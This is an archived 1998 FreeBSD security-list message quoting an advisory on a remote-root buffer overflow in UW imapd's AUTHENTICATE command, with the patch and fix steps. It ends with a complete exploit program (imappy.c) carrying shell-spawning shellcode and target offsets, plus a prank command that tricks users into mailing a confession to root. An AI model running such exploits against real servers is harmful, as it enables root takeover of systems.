Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 17 Jul 1998 10:52:45 -0400
From:      matt <mbehrens@iserv.net>
To:        Anonymous <nobody@REPLAY.COM>
Cc:        BUGTRAQ@NETSPACE.ORG, security@FreeBSD.ORG
Subject:   Re: EMERGENCY: new remote root exploit in UW imapd
Message-ID:  <35AF653D.BABFE5F@iserv.net>
References:  <199807162206.AAA30072@basement.replay.com>

next in thread | previous in thread | raw e-mail | index | archive | help
I conversed with the port maintainers of imap-uw in FreeBSD yesterday in
response to an earlier message, as well as Terry Gray from UW.  As a
result, the imap-uw port with the CVS string

	$Id: Makefile,v 1.13 1998/06/07 23:01:28 steve Exp $

should be immune, as it uses the latest (and final?) imapd.  If you are
in doubt, comment out your imapd lines, cvsup the latest ports
collection, remove and install the new.

Anonymous wrote:
> 
> INTRODUCTION
> 
> On July 10, 1998 a message was posted to the University of Washington Pine
> mailing lists about a security problem in the UW imapd server released with
> Pine 4.00, viewable at:
> 
>     http://www.washington.edu/pine/pine-info/1998.07/msg00062.html
> 
> Out of curiosity, I decided to do some source code diffs to see what
> changed between the patched and unpatched versions of imapd.  Sure enough,
> there was a *major* security hole.  The message from the Pine developers
> failed, however, to underscore the severity of the hole hence this security
> advisory.
> 
> TECHNICAL DETAILS
> 
> This recent hole is similar in nature to the older hole described in CERT
> Advisory CA-97.09 and the Secure Networks advisory of March 2, 1997 upon
> which the CERT advisory is based, but this is an all new hole and is *not*
> covered by the fixes presented in these advisories.  The full text of each
> previous advisory can be found at:
> 
>     http://www.secnet.com/sni-advisories/imap.advisory.03.02.97.html
>     http://www.cert.org/advisories/CA-97.09.imap_pop.html
> 
> The previous IMAP server hole involved a stack buffer overflow condition in
> the processing of the IMAP LOGIN command in which arbitrary machine code
> can be executed by carefully crafting an overly long user name.  This time
> the affected command is the IMAP AUTHENTICATE command, which takes one
> argument specifying the authentication mechanism.  When a carefully crafted
> mechanism name that exceeds the size of a special stack buffer is presented
> to the IMAP server, the saved instruction pointer on the stack is
> overwritten with a altered value that can result in the execution of
> arbitrary machine code, due to coding errors in the IMAP server.
> 
> The following source code discussion pertains to imapd 10.234 as
> distributed with Pine 4.00.  The problem code appears in the mail_auth()
> routine in mail.c of the IMAP server source code distribution, which reads:
> 
> char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
> {
>   char tmp[MAILTMPLEN];
>   AUTHENTICATOR *auth;
>                                 /* make upper case copy of mechanism name */
>   ucase (strcpy (tmp,mechanism));
>   for (auth = mailauthenticators; auth; auth = auth->next)
>     if (auth->server && !strcmp (auth->name,tmp))
>       return (*auth->server) (resp,argc,argv);
>   return NIL;                   /* no authenticator found */
> }
> 
> The problem lies in the strcpy() call that copies the contents of mechanism
> to tmp which resides on the stack as an automatic variable.  The tmp buffer
> is MAILTMPLEN bytes in size, with MAILTMPLEN defined to be 1024 in mail.h.
> However, the command string read from the client by the server is placed
> into a buffer TMPLEN bytes in size, with TMPLEN defined to be 8192 in
> imapd.c, thus allowing the passing of arguments to mail_auth() that greatly
> exceed the size of its temporary buffer.  Since the IMAP server has not
> yet given up its root privileges at this stage of the login process, this
> programming oversight can be exploited to yield root compromise on the IMAP
> server machine.
> 
> Crafting machine code to take over the IMAP server through the AUTHENTICATE
> command buffer overflow presents technical challenges because the buffer
> contents are passed through ucase() which transforms all lowercase
> characters to uppercase, so the exploit machine code, which typically
> spawns a shell, must be impervious to mangling by toupper().  The
> "standard" i386 BSD exploit code, however, proves to be exceptionally
> resilient and actually the only necessary modification proves to be
> protecting the lowercase characters in the string "/bin/sh" which requires
> only trivial modifications.
> 
> Recent versions of imapd also include checks in parse_astring() in imapd.c
> to reject characters with the high bit (eighth bit) set, so malicious
> exploit code (which often contains characters greater than 0x7f and
> non-letter characters) must be smuggled in as a string literal argument to
> the AUTHENTICATE command, which proves to be only a minor difficulty.
> 
> IMPACT
> 
> Any remote individual with malicious intentions may gain root access to the
> machine running a vulnerable version of imapd, with no knowledge of any
> valid local usernames or passwords.  As such, this matter should be treated
> with the utmost of seriousness.
> 
> VULNERABLE SYSTEMS
> 
> Initial analysis seems to indicate that versions of the UW imapd IMAP 4.1
> server up through version 10.234 distributed as part of the Pine 4.00
> distribution are vulnerable.  Versions as old as 10.191 have been analyzed
> and found to be vulnerable, and it is believed that earlier versions are
> likely vulnerable, as well.  It may be safe to assume that all versions of
> imapd (previous to and including the version distributed with Pine 4.00)
> that support the IMAP AUTHENTICATE command are vulnerable.
> 
> At the present time it is not known if any UW imapd IMAP2bis servers are
> vulnerable to this specific hole, but they are likely vulnerable to the
> older LOGIN hole described in the advisories referenced above.
> 
> FIX INFORMATION
> 
> As a temporary emergency measure, it is recommended that all sites running
> vulnerable versions of imapd disable their IMAP service in /etc/inetd.conf
> until it is possible to upgrade to a patched version of the server.
> 
> The University of Washington is currently distributing a separate version
> of imapd (confusingly, also numbered 10.234) outside of the Pine
> distribution that addresses the overflow in mail_auth().  The patched code
> reads:
> 
> char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
> {
>   char tmp[MAILTMPLEN];
>   AUTHENTICATOR *auth;
>                                 /* cretins still haven't given up */
>   if (strlen (mechanism) >= MAILTMPLEN)
>     syslog (LOG_ALERT|LOG_AUTH,"System break-in attempt, host=%.80s",
>             tcp_clienthost ());
>   else {                        /* make upper case copy of mechanism name */
>     ucase (strcpy (tmp,mechanism));
>     for (auth = mailauthenticators; auth; auth = auth->next)
>       if (auth->server && !strcmp (auth->name,tmp))
>         return (*auth->server) (resp,argc,argv);
>   }
>   return NIL;                   /* no authenticator found */
> }
> 
> This patched version of imapd may be obtained at:
> 
>     ftp://ftp.cac.washington.edu/mail/imap.tar.Z
> 
> COMMENTARY
> 
> In some ways, it is depressing to find this new hole.  Programmers are
> still making the same mistakes they have made for years.  Doesn't anyone
> learn from the past?  Can strcpy() ever be used safely?  Perhaps the
> software development community, and certainly those writing network service
> daemons that run as root, should discontinue using *any* C library
> functions that do not include bounds checking information, such as
> sprintf(), strcat(), and strcpy().  Yes, they *can* be used safely but the
> potential for misuse is too great.  When will we learn?  When?
> 
> I'll end my diatribe here.
> 
> EXPLOIT INFORMATION
> 
> What good is a security advisory without exploit information?  The
> following code exercises the buffer overflow condition on platforms running
> i386 versions of BSD UNIX, such as FreeBSD or BSDI.  I cannot be held
> responsible for the consequences of releasing this code nor can I be held
> responsible for results of its application.  I am releasing this code to be
> used for ethical purposes in diagnosing and testing the associated
> vulnerability.  Do not use this code to break into systems against the
> wishes of their owners.
> 
> In short, be good, kids.  Okay?
> 
> Oh, one other thing.  If you're trying to use this code and it doesn't seem
> to be working, type the following command at your UNIX prompt:
> 
>     echo "v nz gelvat gb unpx ebbg" | tr a-z n-za-m | mail root@hostname
> 
> where "hostname" should be replaced with the hostname of the machine
> running the IMAP server.  Make sure you type it exactly as listed, since
> every character counts.  Once you've done that, try the exploit code again
> and it should work.
> 
>                                         Yours truly,
> 
>                                         Cheez Whiz
>                                         cheezbeast@hotmail.com
> 
> imappy.c
> 
> ----- cut here ----- cut here ----- cut here ----- cut here -----
> 
> /**
> ***  i386 BSD remote root exploit for UW imapd IMAP 4.1 server
> ***
> ***  This is *not* the same bug addressed in CERT Advisory CA-97.09!
> ***
> ***  Usage:  % (imappy nop esp offset; cat) | nc hostname 143
> ***
> ***  where nop is the number of NOP opcodes to place at the start of the
> ***  exploit buffer (I use 403), esp is the %esp stack pointer value, and
> ***  offset is the number of bytes to add to esp to calculate your target
> ***  %eip.
> ***
> ***  Demonstration values for UW imapd 10.234 (part of Pine 4.00):
> ***
> ***      imappy 403 0xefbfd5e8 100    (BSDI 3.0)
> ***      imappy 403 0xefbfd4b8 100    (FreeBSD 2.2.5)
> ***
> ***  THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
> ***
> ***  Cheez Whiz
> ***  cheezbeast@hotmail.com
> ***
> ***  July 16, 1998
> **/
> 
> #include <stdio.h>
> #include <stdlib.h>
> #include <limits.h>
> #include <string.h>
> 
> #define BUFLEN (2*1024)
> #define NOP 0x90
> 
> char shell[] =
> /*  0 */ "\xeb\x34"                      /* jmp springboard              */
> /* start:                                                                */
> /*  2 */ "\x5e"                          /* popl %esi                    */
> /*  3 */ "\x8d\x1e"                      /* leal (%esi),%ebx             */
> /*  5 */ "\x89\x5e\x0b"                  /* movl %ebx,0xb(%esi)          */
> /*  8 */ "\x31\xd2"                      /* xorl %edx,%edx               */
> /* 10 */ "\x89\x56\x07"                  /* movl %edx,0x7(%esi)          */
> /* 13 */ "\x89\x56\x0f"                  /* movl %edx,0xf(%esi)          */
> /* 16 */ "\x89\x56\x14"                  /* movl %edx,0x14(%esi)         */
> /* 19 */ "\x88\x56\x19"                  /* movb %dl,0x19(%esi)          */
> /* 22 */ "\x31\xc0"                      /* xorl %eax,%eax               */
> /* 24 */ "\xb0\x7f"                      /* movb $0x7f,%al               */
> /* 26 */ "\x20\x46\x01"                  /* andb %al,0x1(%esi)           */
> /* 29 */ "\x20\x46\x02"                  /* andb %al,0x2(%esi)           */
> /* 32 */ "\x20\x46\x03"                  /* andb %al,0x3(%esi)           */
> /* 35 */ "\x20\x46\x05"                  /* andb %al,0x5(%esi)           */
> /* 38 */ "\x20\x46\x06"                  /* andb %al,0x6(%esi)           */
> /* 41 */ "\xb0\x3b"                      /* movb $0x3b,%al               */
> /* 43 */ "\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx          */
> /* 46 */ "\x89\xca"                      /* movl %ecx,%edx               */
> /* 48 */ "\x52"                          /* pushl %edx                   */
> /* 49 */ "\x51"                          /* pushl %ecx                   */
> /* 50 */ "\x53"                          /* pushl %ebx                   */
> /* 51 */ "\x50"                          /* pushl %eax                   */
> /* 52 */ "\xeb\x18"                      /* jmp exec                     */
> /* springboard:                                                          */
> /* 54 */ "\xe8\xc7\xff\xff\xff"          /* call start                   */
> /* data:                                                                 */
> /* 59 */ "\x2f\xe2\xe9\xee\x2f\xf3\xe8"  /* DATA (disguised /bin/sh)     */
> /* 66 */ "\x01\x01\x01\x01"              /* DATA                         */
> /* 70 */ "\x02\x02\x02\x02"              /* DATA                         */
> /* 74 */ "\x03\x03\x03\x03"              /* DATA                         */
> /* exec:                                                                 */
> /* 78 */ "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 0x7,0x0                */
> 
> char buf[BUFLEN];
> unsigned long int nop, esp;
> long int offset;
> 
> void
> main (int argc, char *argv[])
> {
>     int i;
> 
>     if (argc < 4) {
>         printf("usage: %s nop esp offset\n", argv[0]);
>         return;
>     }
> 
>     nop = strtoul(argv[1], NULL, 0);
>     esp = strtoul(argv[2], NULL, 0);
>     offset = strtol(argv[3], NULL, 0);
> 
>     memset(buf, NOP, BUFLEN);
>     memcpy(buf+nop, shell, strlen(shell));
>     for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4)
>         *((int *) &buf[i]) = esp + offset;
> 
>     printf("* AUTHENTICATE {%d}\r\n", BUFLEN);
>     for (i = 0; i < BUFLEN; i++)
>         putchar(buf[i]);
>     printf("\r\n");
> 
>     return;
> }

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe security" in the body of the message



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?35AF653D.BABFE5F>